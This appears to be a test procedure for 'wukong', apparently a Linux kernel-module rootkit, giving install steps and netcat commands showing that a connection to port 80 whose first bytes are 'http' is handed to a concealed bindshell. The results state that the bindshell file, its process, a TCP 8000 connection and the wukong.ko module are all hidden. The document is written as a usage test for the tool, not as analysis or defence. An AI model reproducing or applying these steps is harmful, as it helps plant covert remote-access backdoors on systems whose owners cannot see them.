(client) (server)
2. Test step:
a. on server
cd wukong/
sudo ./install.pl
sudo nc -k -l 80
b. on client
nc 1.1.1.1 80
http
ifconfig
PS：The connection will be redirected to bindshell
nc 1.1.1.1 80
111111
PS: a rst will be received.
nc 1.1.1.1 80
111111
aaaaaa
PS: The connection will be connected with tcp 80.
3. Result:
a. Bindshell file is hidden.
b. Tcp 8000 connection is hidden.
c. Bindshell process is hidden
d. wukong.ko is hidden
e. If "http" is the first four bytes to TCP 80, connection will be established with bindshell.
